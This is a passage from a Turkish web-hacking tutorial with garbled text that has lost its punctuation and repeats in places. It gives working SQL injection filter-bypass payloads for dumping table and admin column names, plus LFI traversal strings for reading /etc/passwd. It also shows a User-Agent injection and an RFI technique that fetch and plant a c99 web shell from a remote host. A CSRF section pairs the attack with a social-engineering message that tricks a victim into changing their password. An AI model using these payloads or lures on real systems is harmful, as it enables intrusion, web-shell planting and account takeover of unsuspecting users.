Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 36: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 37: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

